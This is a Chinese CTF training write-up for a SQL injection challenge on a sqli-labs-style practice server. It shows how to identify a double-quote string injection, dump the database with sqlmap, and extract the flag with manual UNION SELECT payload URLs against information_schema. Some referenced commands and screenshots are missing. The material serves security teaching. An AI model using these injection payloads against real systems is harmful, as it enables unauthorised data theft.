#writeup# 深交所CTF内训T1-SQL注入
Posted 茄子写字板
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了#writeup# 深交所CTF内训T1-SQL注入相关的知识,希望对你有一定的参考价值。
T1:SQL 注入
hint:简单的注入漏洞,可以使用sqlmap工具。
题目地址:http://www.szse.ml:8080/szse-1/index.php
简单的sql注入,先判断是何种注入类型。
http://www.szse.ml:8080/szse-1/index.php?id=1 正常显示
http://www.szse.ml:8080/szse-1/index.php?id=1\' 单引号正常显示,说明不是单引号注入
http://www.szse.ml:8080/szse-1/index.php?id=1" 显示异常,说明要用双引号闭合。
注意报错信息,数字1能显示,说明不是整形注入,而是字符注入。整形注入的报错长这样:
大致可以推断出后台sql语句是
sql = \'select username, password from xxx_table where id = ("\' + $id + \'") LIMIT 0,1\'
接下来都是常规操作,判断当前表格有多少个字段。当4改为3的时候,显示正常,说明有3个字段。
判断哪些字段可以回显。说明第2个和第3个字段可以回显。
通过上面的分析,可以知道,这是一道 ** GET - Error based - Double Quotes - string “ 注入题目,没有做任何过滤。
接下来,有两种解题方式:
方法一:利用sqlmap
通过前面的人工分析,知道id存在注入,而且是 error-based,所以构造如下命令:
关于 --technique 参数,简单介绍如下:
这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式。
支持的探测方式如下:
B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)
接下来探测数据库名,在上一条命令尾部加上 --current-db
查看有哪些表:-D security --tables
查看表中的内容:-T szseflag --dump
获得了flag。
提高
sqlmap 在探测时候,会用到各种方法,其中盲注探测方式最花时间,为了提高效率,需要了解 --time-sec/--thread 等参数。当服务端存在过滤的时候,还要调用--tamper 脚本进行绕过。
方法二:直接手工注入
本题为基本的sql注入,而且带回显,其实完全可以通过手工语句完成:
1、获得数据库基本信息
数据库版本:
http://www.szse.ml:8080/szse-1/index.php?id=-1")+union+all+select+1,version(),3%23
如果是5.0以上,因为有information_schema函数,可以直接获取到DB中的表和列信息。示例中是5.5.47
数据库信息:
http://www.szse.ml:8080/szse-1/index.php?id=-1")+union+all+select+1,database(),3%23
security
用户信息:
http://www.szse.ml:8080/szse-1/index.php?id=-1")+union+all+select+1,user(),3%23
root@localhost
2、获取表和列信息
http://www.szse.ml:8080/szse-1/index.php?id=-1")+union+all+select+1,group_concat(table_name),3+from+information_schema.tables+where+table_schema=database() %23
emails,referers,szseflag,uagents,users
http://www.szse.ml:8080/szse-1/index.php?id=-1")+union+all+select+1,group_concat(column_name),3+from+information_schema.columns+where+table_name=\'szseflag\' %23
flag
6、获取字段信息
http://www.szse.ml:8080/szse-1/index.php?id=-1")+union+all+select+1,flag,3+from+szseflag%23
szse{sqli_welcome_szse_ctfer}
方法三:自己编程实现
在 error-based sqli中,原理和手工注入一样,没必要编程。
在盲注的时候,就需要编程实现了。这里不再展开,希望大家可以自己做做这道题目:。
http://www.szse.ml:8080/Less-8/
提升
所有的 sqli 题目,其实都在 sqli-labs 里面了,只要每一题都能搞定,相信比赛也没问题。
目前 sqli-labs 的比赛环境我已经搭建好了,欢迎刷题:
http://www.szse.ml:8080/
注意,一共有4类关卡哦:
以上是关于#writeup# 深交所CTF内训T1-SQL注入的主要内容,如果未能解决你的问题,请参考以下文章